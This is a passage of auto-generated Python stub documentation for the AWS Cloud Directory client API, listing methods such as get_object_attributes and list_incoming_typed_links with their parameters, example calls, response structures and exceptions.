A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException """ pass def get_object_attributes(DirectoryArn=None, ObjectReference=None, ConsistencyLevel=None, SchemaFacet=None, AttributeNames=None): """ Retrieves attributes within a facet that are associated with an object. See also: AWS API Documentation Exceptions :example: response = client.get_object_attributes( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL', SchemaFacet={ 'SchemaArn': 'string', 'FacetName': 'string' }, AttributeNames=[ 'string', ] ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides.\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nReference that identifies the object whose attributes will be retrieved.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level at which to retrieve the attributes on an object. :type SchemaFacet: dict :param SchemaFacet: [REQUIRED]\nIdentifier for the facet whose attributes will be retrieved. See SchemaFacet for details.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n :type AttributeNames: list :param AttributeNames: [REQUIRED]\nList of attribute names whose values will be retrieved.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } Response Structure (dict) -- Attributes (list) -- The attributes that are associated with the object. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetValidationException """ pass def get_object_information(DirectoryArn=None, ObjectReference=None, ConsistencyLevel=None): """ Retrieves metadata about an object. See also: AWS API Documentation Exceptions :example: response = client.get_object_information( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory being retrieved.\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nA reference to the object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level at which to retrieve the object information. :rtype: dict ReturnsResponse Syntax { 'SchemaFacets': [ { 'SchemaArn': 'string', 'FacetName': 'string' }, ], 'ObjectIdentifier': 'string' } Response Structure (dict) -- SchemaFacets (list) -- The facets attached to the specified object. Although the response does not include minor version information, the most recently applied minor version of each Facet is in effect. See GetAppliedSchemaVersion for details. (dict) -- A facet. SchemaArn (string) -- The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions. FacetName (string) -- The name of the facet. ObjectIdentifier (string) -- The ObjectIdentifier of the specified object. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'SchemaFacets': [ { 'SchemaArn': 'string', 'FacetName': 'string' }, ], 'ObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException """ pass def get_paginator(operation_name=None): """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). :rtype: L{botocore.paginate.Paginator} ReturnsA paginator object. """ pass def get_schema_as_json(SchemaArn=None): """ Retrieves a JSON representation of the schema. See JSON Schema Format for more information. See also: AWS API Documentation Exceptions :example: response = client.get_schema_as_json( SchemaArn='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe ARN of the schema to retrieve.\n :rtype: dict ReturnsResponse Syntax{ 'Name': 'string', 'Document': 'string' } Response Structure (dict) -- Name (string) --The name of the retrieved schema. Document (string) --The JSON representation of the schema document. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.ValidationException :return: { 'Name': 'string', 'Document': 'string' } """ pass def get_typed_link_facet_information(SchemaArn=None, Name=None): """ Returns the identity attribute order for a specific TypedLinkFacet . For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.get_typed_link_facet_information( SchemaArn='string', Name='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe unique name of the typed link facet.\n :rtype: dict ReturnsResponse Syntax { 'IdentityAttributeOrder': [ 'string', ] } Response Structure (dict) -- IdentityAttributeOrder (list) -- The order of identity attributes for the facet, from most significant to least significant. The ability to filter typed links considers the order that the attributes are defined on the typed link facet. When providing ranges to typed link selection, any inexact ranges must be specified at the end. Any attributes that do not have a range specified are presumed to match the entire range. Filters are interpreted in the order of the attributes on the typed link facet, not the order in which they are supplied to any API calls. For more information about identity attributes, see Typed Links . (string) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.FacetNotFoundException :return: { 'IdentityAttributeOrder': [ 'string', ] } :returns: (string) -- """ pass def get_waiter(waiter_name=None): """ Returns an object that can wait for some condition. :type waiter_name: str :param waiter_name: The name of the waiter to get. See the waiters\nsection of the service docs for a list of available waiters. :rtype: botocore.waiter.Waiter """ pass def list_applied_schema_arns(DirectoryArn=None, SchemaArn=None, NextToken=None, MaxResults=None): """ Lists schema major versions applied to a directory. If SchemaArn is provided, lists the minor version. See also: AWS API Documentation Exceptions :example: response = client.list_applied_schema_arns( DirectoryArn='string', SchemaArn='string', NextToken='string', MaxResults=123 ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory you are listing.\n :type SchemaArn: string :param SchemaArn: The response for ListAppliedSchemaArns when this parameter is used will list all minor version ARNs for a major version. :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- SchemaArns (list) -- The ARNs of schemas that are applied to the directory. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_attached_indices(DirectoryArn=None, TargetReference=None, NextToken=None, MaxResults=None, ConsistencyLevel=None): """ Lists indices attached to the specified object. See also: AWS API Documentation Exceptions :example: response = client.list_attached_indices( DirectoryArn='string', TargetReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory.\n :type TargetReference: dict :param TargetReference: [REQUIRED]\nA reference to the object that has indices attached.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level to use for this operation. :rtype: dict ReturnsResponse Syntax { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' } Response Structure (dict) -- IndexAttachments (list) -- The indices attached to the specified object. (dict) -- Represents an index and an attached object. IndexedAttributes (list) -- The indexed attribute values. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. ObjectIdentifier (string) -- In response to ListIndex , the ObjectIdentifier of the object attached to the index. In response to ListAttachedIndices , the ObjectIdentifier of the index attached to the object. This field will always contain the ObjectIdentifier of the object on the opposite side of the attachment specified in the query. NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException """ pass def list_development_schema_arns(NextToken=None, MaxResults=None): """ Retrieves each Amazon Resource Name (ARN) of schemas in the development state. See also: AWS API Documentation Exceptions :example: response = client.list_development_schema_arns( NextToken='string', MaxResults=123 ) :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- SchemaArns (list) -- The ARNs of retrieved development schemas. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_directories(NextToken=None, MaxResults=None, state=None): """ Lists directories created within an account. See also: AWS API Documentation Exceptions :example: response = client.list_directories( NextToken='string', MaxResults=123, state='ENABLED'|'DISABLED'|'DELETED' ) :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :type state: string :param state: The state of the directories in the list. Can be either Enabled, Disabled, or Deleted. :rtype: dict ReturnsResponse Syntax { 'Directories': [ { 'Name': 'string', 'DirectoryArn': 'string', 'State': 'ENABLED'|'DISABLED'|'DELETED', 'CreationDateTime': datetime(2015, 1, 1) }, ], 'NextToken': 'string' } Response Structure (dict) -- Directories (list) -- Lists all directories that are associated with your account in pagination fashion. (dict) -- Directory structure that includes the directory name and directory ARN. Name (string) -- The name of the directory. DirectoryArn (string) -- The Amazon Resource Name (ARN) that is associated with the directory. For more information, see arns . State (string) -- The state of the directory. Can be either Enabled , Disabled , or Deleted . CreationDateTime (datetime) -- The date and time when the directory was created. NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'Directories': [ { 'Name': 'string', 'DirectoryArn': 'string', 'State': 'ENABLED'|'DISABLED'|'DELETED', 'CreationDateTime': datetime(2015, 1, 1) }, ], 'NextToken': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.InvalidNextTokenException """ pass def list_facet_attributes(SchemaArn=None, Name=None, NextToken=None, MaxResults=None): """ Retrieves attributes attached to the facet. See also: AWS API Documentation Exceptions :example: response = client.list_facet_attributes( SchemaArn='string', Name='string', NextToken='string', MaxResults=123 ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe ARN of the schema where the facet resides.\n :type Name: string :param Name: [REQUIRED]\nThe name of the facet whose attributes will be retrieved.\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'Attributes': [ { 'Name': 'string', 'AttributeDefinition': { 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } } }, 'AttributeReference': { 'TargetFacetName': 'string', 'TargetAttributeName': 'string' }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, ], 'NextToken': 'string' } Response Structure (dict) -- Attributes (list) -- The attributes attached to the facet. (dict) -- An attribute that is associated with the Facet . Name (string) -- The name of the facet attribute. AttributeDefinition (dict) -- A facet attribute consists of either a definition or a reference. This structure contains the attribute definition. See Attribute References for more information. Type (string) -- The type of the attribute. DefaultValue (dict) -- The default value of the attribute (if configured). StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. IsImmutable (boolean) -- Whether the attribute is mutable or not. Rules (dict) -- Validation rules attached to the attribute definition. (string) -- (dict) -- Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule. Type (string) -- The type of attribute validation rule. Parameters (dict) -- The minimum and maximum parameters that are associated with the rule. (string) -- (string) -- AttributeReference (dict) -- An attribute reference that is associated with the attribute. See Attribute References for more information. TargetFacetName (string) -- The target facet name that is associated with the facet reference. See Attribute References for more information. TargetAttributeName (string) -- The target attribute name that is associated with the facet reference. See Attribute References for more information. RequiredBehavior (string) -- The required behavior of the FacetAttribute . NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'Attributes': [ { 'Name': 'string', 'AttributeDefinition': { 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } } }, 'AttributeReference': { 'TargetFacetName': 'string', 'TargetAttributeName': 'string' }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, ], 'NextToken': 'string' } :returns: (string) -- (string) -- """ pass def list_facet_names(SchemaArn=None, NextToken=None, MaxResults=None): """ Retrieves the names of facets that exist in a schema. See also: AWS API Documentation Exceptions :example: response = client.list_facet_names( SchemaArn='string', NextToken='string', MaxResults=123 ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) to retrieve facet names from.\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'FacetNames': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- FacetNames (list) -- The names of facets that exist within the schema. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'FacetNames': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_incoming_typed_links(DirectoryArn=None, ObjectReference=None, FilterAttributeRanges=None, FilterTypedLink=None, NextToken=None, MaxResults=None, ConsistencyLevel=None): """ Returns a paginated list of all the incoming TypedLinkSpecifier information for an object. It also supports filtering by typed link facet and identity attributes. For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.list_incoming_typed_links( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, FilterAttributeRanges=[ { 'AttributeName': 'string', 'Range': { 'StartMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'StartValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'EndMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'EndValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ], FilterTypedLink={ 'SchemaArn': 'string', 'TypedLinkName': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the directory where you want to list the typed links.\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nReference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type FilterAttributeRanges: list :param FilterAttributeRanges: Provides range filters for multiple attributes. When providing ranges to typed link selection, any inexact ranges must be specified at the end. Any attributes that do not have a range specified are presumed to match the entire range.\n\n(dict) --Identifies the range of attributes that are used by a specified filter.\n\nAttributeName (string) --The unique name of the typed link attribute.\n\nRange (dict) -- [REQUIRED]The range of attribute values that are being selected.\n\nStartMode (string) -- [REQUIRED]The inclusive or exclusive range start.\n\nStartValue (dict) --The value to start the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nEndMode (string) -- [REQUIRED]The inclusive or exclusive range end.\n\nEndValue (dict) --The attribute value to terminate the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :type FilterTypedLink: dict :param FilterTypedLink: Filters are interpreted in the order of the attributes on the typed link facet, not the order in which they are supplied to any API calls.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level to execute the request at. :rtype: dict ReturnsResponse Syntax { 'LinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- LinkSpecifiers (list) -- Returns one or more typed link specifiers as output. (dict) -- Contains all the information that is used to uniquely identify a typed link. The parameters discussed in this topic are used to uniquely specify the typed link being operated on. The AttachTypedLink API returns a typed link specifier while the DetachTypedLink API accepts one as input. Similarly, the ListIncomingTypedLinks and ListOutgoingTypedLinks API operations provide typed link specifiers as output. You can also construct a typed link specifier from scratch. TypedLinkFacet (dict) -- Identifies the typed link facet that is associated with the typed link. SchemaArn (string) -- The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . TypedLinkName (string) -- The unique name of the typed link facet. SourceObjectReference (dict) -- Identifies the source object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call TargetObjectReference (dict) -- Identifies the target object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call IdentityAttributeValues (list) -- Identifies the attribute value to update. (dict) -- Identifies the attribute name and value for a typed link. AttributeName (string) -- The attribute name of the typed link. Value (dict) -- The value for the typed link. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'LinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': 